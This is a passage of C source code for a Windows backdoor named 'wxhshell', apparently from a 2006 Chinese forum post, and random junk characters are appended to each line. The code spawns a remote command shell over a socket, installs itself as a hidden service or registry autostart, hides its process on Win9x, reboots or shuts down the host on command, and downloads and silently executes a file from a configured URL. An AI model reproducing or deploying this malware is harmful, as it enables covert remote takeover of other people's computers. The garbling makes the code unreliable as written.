  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9!``~]G2  
  else GOKca%DT=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AYVkJq?  
  } {Rm N1'%  
  else { ^&!S nM  
d)R7#HLZ7  
    switch(cmd[0]) { !08\w@  
  !`A]YcQ  
  // 帮助 6UK}?+r~  
  case '?': { 6h5,XcO4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5DI&pR1eZ  
    break; 8l50@c4UF~  
  } 1ti9FQ  
  // 安装 6T qs6*  
  case 'i': { (}4]U=/nV  
    if(Install()) ![ce=9@t<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sTb@nrRxH  
    else ~jpdDV&u\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dcep^8'  
    break; Z ? F*Z0y  
    } .H33C@  
  // 卸载 %3@a|#g  
  case 'r': { f]*TIYicc  
    if(Uninstall()) 0dKv%X#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \7d T]VV  
    else `J26Y"]P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9i?Q=Vuc~<  
    break; ImG7E w  
    } }vXf}2C  
  // 显示 wxhshell 所在路径 ~stG2^"[  
  case 'p': { Wu1">|  
    char svExeFile[MAX_PATH]; FRR`<do5$,  
    strcpy(svExeFile,"\n\r");  9EU0R H  
      strcat(svExeFile,ExeFile); 7_^JgA|Kk7  
        send(wsh,svExeFile,strlen(svExeFile),0); .!^}sp,E  
    break; +FGw)>g8'm  
    } +*')0I  
  // 重启 B']}n`g  
  case 'b': { sq;nUA=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "/~KB~bB  
    if(Boot(REBOOT)) ;&~9k?v7L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z< 4Du  
    else { "P9SW?',  
    closesocket(wsh); : 6|nXL  
    ExitThread(0); [Q:C\f]  
    } 7FYq6wi  
    break; F=9-po  
    } '#ow 9w+^  
  // 关机 Ce.*yO<-  
  case 'd': { 5W4Tp% Lda  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E8Y(C_:s  
    if(Boot(SHUTDOWN)) 3$#=* Zp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3K]>Lio  
    else { 8oxYgj&~X  
    closesocket(wsh); OY'6~w9  
    ExitThread(0); YX,xC-37y  
    } "( NJ{J#A  
    break; ;]A:(HSZj  
    } #P/}'rdt  
  // 获取shell Q!`  
  case 's': { h#?)H7ft  
    CmdShell(wsh); z.6I6IfL\L  
    closesocket(wsh); dxk~  
    ExitThread(0); p/4}SU  
    break; *;!p#qL  
  } JM>4m)h#  
  // 退出 rd hM#?  
  case 'x': { me`|i-   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Ab,h#f*7  
    CloseIt(wsh); $QC^hC  
    break; I>n2# -8  
    } D]B;5f  
  // 离开 VcpN PU6  
  case 'q': {  97-=Vb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O tD!@GQ6  
    closesocket(wsh); Q2jl61d_9  
    WSACleanup(); whb,2=gIE  
    exit(1); "Wz74ble  
    break; gVU&Yl~/^  
        } { cMf_qQ  
  } ~9h/{$  
  } FTT=h0t  
C#@>osC  
  // 提示信息 NoD\t(@h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e,I{+ ^P  
} y_A7CG"^  
  } }v$T1Cw  
!dZpV~g0  
  return; |\] _u 3  
} o:nh3K/YJ  
; w+<yW}EL  
// shell模块句柄 ganXO5T$  
int CmdShell(SOCKET sock) >7j(V`i"y  
{ IP-}J$$1  
STARTUPINFO si; ^_o9%)RL(  
ZeroMemory(&si,sizeof(si)); ptvM>zw'~g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w/Ej>OS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n=tg{_9f%  
PROCESS_INFORMATION ProcessInfo; [2Rw)!N  
char cmdline[]="cmd"; eHQ3K#M#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lL]8~3b  
  return 0; GFmVR2z_+  
} 97~*Z|#<+  
elw}(l<F  
// 自身启动模式 mIUpAOC`"Z  
int StartFromService(void) xfqW~&  
{ "H!2{l{  
typedef struct `Q~`Eq?@  
{ wD'LX  
  DWORD ExitStatus; "J(7fL$!  
  DWORD PebBaseAddress; +5C*i@v  
  DWORD AffinityMask; kTe0"  
  DWORD BasePriority; p/GYfa dU  
  ULONG UniqueProcessId; \/ 8 V|E  
  ULONG InheritedFromUniqueProcessId; *[?DnF+  
}   PROCESS_BASIC_INFORMATION; _m8JU  
$Y Cy,Ew   
PROCNTQSIP NtQueryInformationProcess; Mk"V%)1k  
Z-BPC|e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Lz:i +;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 *#pv}Y  
-A A='s  
  HANDLE             hProcess; oztfr<cUH  
  PROCESS_BASIC_INFORMATION pbi; USrg,A  
]\Tcy[5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BHW8zY=F  
  if(NULL == hInst ) return 0; 2rK<UPIq  
DMY?'Nts!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Noa4i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e2 ?7>?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,:!dqonn  
k 8Swra?j  
  if (!NtQueryInformationProcess) return 0; 8yDu(.Q  
-r!N; s$t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {t;{={$  
  if(!hProcess) return 0; #sq$i  
oKJj?%dHK9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MOIH%lpe  
!PzlrH)M=p  
  CloseHandle(hProcess); K] ^kUN_  
Rj|8l K;,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P*# H]Pv  
if(hProcess==NULL) return 0; U0+Hk+  
TuBl9 p'6  
HMODULE hMod; T`;>Kq:s  
char procName[255]; }lk_Oe1  
unsigned long cbNeeded; 2B# ]z  
Q`Q%;%t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~7W?W<  
Xw=>L#Q  
  CloseHandle(hProcess); 8/;q~:v  
XM$HHk}L;  
if(strstr(procName,"services")) return 1; // 以服务启动 Yd4J:  
A3p@hQl  
  return 0; // 注册表启动 4*4s{twG  
} zUM;Qwl  
`5:Wv b>|  
// 主模块 n# %mL<  
int StartWxhshell(LPSTR lpCmdLine)  #cqia0.H  
{ Hb KJ&^  
  SOCKET wsl; x?:[:Hf   
BOOL val=TRUE; lCDu,r;\  
  int port=0; *7C t#GC  
  struct sockaddr_in door; !_VKJZuH  
; /fZh:V2  
  if(wscfg.ws_autoins) Install(); %X Jv;|  
=h?WT*  
port=atoi(lpCmdLine); [2UjY^\;T  
]A:n]mL  
if(port<=0) port=wscfg.ws_port; ')w:`8Tl  
ty|E[Ez1  
  WSADATA data; $9DV }  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M-3kF"  
2r2qZ#I}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QAigbSn]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wfQ 6J0  
  door.sin_family = AF_INET; vT V'D&x2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lC Bb0k2  
  door.sin_port = htons(port); ,y}?Z 8?63  
V?Y;.n&y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DIH|6R  
closesocket(wsl); )<bgZ, v  
return 1; Hn5:*;N  
} 96UL](l(`  
.5*h']iFr1  
  if(listen(wsl,2) == INVALID_SOCKET) { `LU[+F8<  
closesocket(wsl); V9*Z  
return 1; f]MKNX  
} @:\Iw"P  
  Wxhshell(wsl); MaDdiyeC  
  WSACleanup(); <rZ( B>$  
jj2 [Zh/h  
return 0; =e2|:Ba!  
Gf'qPLK0  
} TbqH-R3W  
x%Ph``XI  
// 以NT服务方式启动 jC3ta  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #@s[!4)_I  
{ @X@?jj&  
DWORD   status = 0; 6)i4&  
  DWORD   specificError = 0xfffffff; -j1?l Y  
\c1u$'|v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N>kY$*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H9}z0VI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +XV7W=  
  serviceStatus.dwWin32ExitCode     = 0; 2P3,\L  
  serviceStatus.dwServiceSpecificExitCode = 0; 9u6GeK~G  
  serviceStatus.dwCheckPoint       = 0; 8S*3W3HY  
  serviceStatus.dwWaitHint       = 0; xQLVFgd  
T1,Nb>gBq^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]-ad\PI$  
  if (hServiceStatusHandle==0) return; }8 V/Cd9  
g{|F<2rd[m  
status = GetLastError(); HK_Vk\e  
  if (status!=NO_ERROR) !1G6ZC:z  
{ }7?n\I+n"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UnTnc6Bo7W  
    serviceStatus.dwCheckPoint       = 0; fXNl27c-  
    serviceStatus.dwWaitHint       = 0; %gBulvg  
    serviceStatus.dwWin32ExitCode     = status; +H"[WZ5  
    serviceStatus.dwServiceSpecificExitCode = specificError; `"@Pr,L   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ @XvEx%  
    return; p>Z18  
  } Xy(8}  
t`F<lOKj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'PO+P~|oa&  
  serviceStatus.dwCheckPoint       = 0; ~ 9Xs=S!  
  serviceStatus.dwWaitHint       = 0; O4`am:@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i&K-|[3{g  
} "XKcbdr8-  
<!qN<#$y  
// 处理NT服务事件,比如:启动、停止 `^d[$IbDW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !H)Cua)  
{ d2\#Zlu<  
switch(fdwControl) U5[,UrC  
{ B}?$kp  
case SERVICE_CONTROL_STOP: Nw3K@ Ge  
  serviceStatus.dwWin32ExitCode = 0; YRU1^=v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hl|EySno  
  serviceStatus.dwCheckPoint   = 0; ^RIDC/B=V6  
  serviceStatus.dwWaitHint     = 0; 0,{tBo  
  { ;\mTm;]G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NzBX2  
  } z5tOsU  
  return; ta  
case SERVICE_CONTROL_PAUSE: 5w9oMM {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +.3,(l  
  break; =NNA7E7c  
case SERVICE_CONTROL_CONTINUE: c.?+rcnq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >Hd Pcsl L  
  break; sjW;Nsp  
case SERVICE_CONTROL_INTERROGATE: sUe<21:  
  break; @Jh;YDr`A  
}; ]DJ] L=T7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f}GV0=n  
} |V dr/'  
k$d+w][  
// 标准应用程序主函数 (@(rz/H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LX%UkfA9  
{ 6'a1]K  
yt 5'2!jc  
// 获取操作系统版本 `VL<pqPP  
OsIsNt=GetOsVer(); >Y)FoHa+/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &al\8  
SbYs a  
  // 从命令行安装 ]"X} FU  
  if(strpbrk(lpCmdLine,"iI")) Install(); p E56CM  
:k&5Z`>)  
  // 下载执行文件 _GtG8ebr  
if(wscfg.ws_downexe) { @ak3ZNor  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1cdX0[sN  
  WinExec(wscfg.ws_filenam,SW_HIDE); oMV^W^<  
} -<Oy5N  
?ISv|QpC  
if(!OsIsNt) { %CaF-m=Pq  
// 如果时win9x,隐藏进程并且设置为注册表启动 x6iT"\MO  
HideProc(); ^v+7IFn  
StartWxhshell(lpCmdLine); *Q`y'6S  
} d@QC[$qXj  
else |]=s  
  if(StartFromService()) ,\CG}-v@CN  
  // 以服务方式启动 ( L ]C  
  StartServiceCtrlDispatcher(DispatchTable); uzO3_.4Y  
else /9k}Ip  
  // 普通方式启动 JQO%-=t  
  StartWxhshell(lpCmdLine); ) mG  
Op 0Qpn  
return 0; HLYo+;j3|  
}
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只看该作者 1 发表于: 2006-10-10
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